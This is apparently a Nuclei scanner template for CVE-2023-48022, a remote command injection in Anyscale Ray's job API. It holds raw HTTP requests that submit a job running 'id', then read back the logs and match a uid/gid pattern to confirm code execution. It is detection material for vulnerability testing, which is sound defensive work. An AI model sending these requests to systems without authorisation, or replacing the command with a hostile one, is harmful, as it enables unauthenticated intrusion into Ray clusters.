id: CVE-2023-48022 info: name: "Anyscale Ray - Command Injection" author: vedas-arpsyndicate severity: critical description: | Anyscale Ray 2.6.3 and 2.8.0 allows a remote attacker to execute arbitrary code via the job submission API. NOTE: the vendor's position is that this report is irrelevant because Ray, as stated in its documentation, is not intended for use outside of a strictly controlled network environment. reference: - https://www.exploit.observer/?keyword=CVE-2023-48022&match=exact - https://subdomain.center/?engine=ammonites&keyword=ray&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-48022 cwe-id: CWE-78 metadata: verified: false tags: cve,cve2023,rce,ray,anyscale,vkev,vuln variables: jobid: "Job_{{rand_base(6)}}" http: - raw: - | POST /api/jobs/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/json { "entrypoint": "id", "submission_id": "{{jobid}}" } - | # wait for 8 seconds before getting the logs GET / HTTP/1.1 Host: {{Hostname}} {{wait_for(8)}} - | GET /api/jobs/{{jobid}}/logs HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "logs\":")' - 'contains(content_type, "application/json")' - 'regex("uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)", body)' condition: and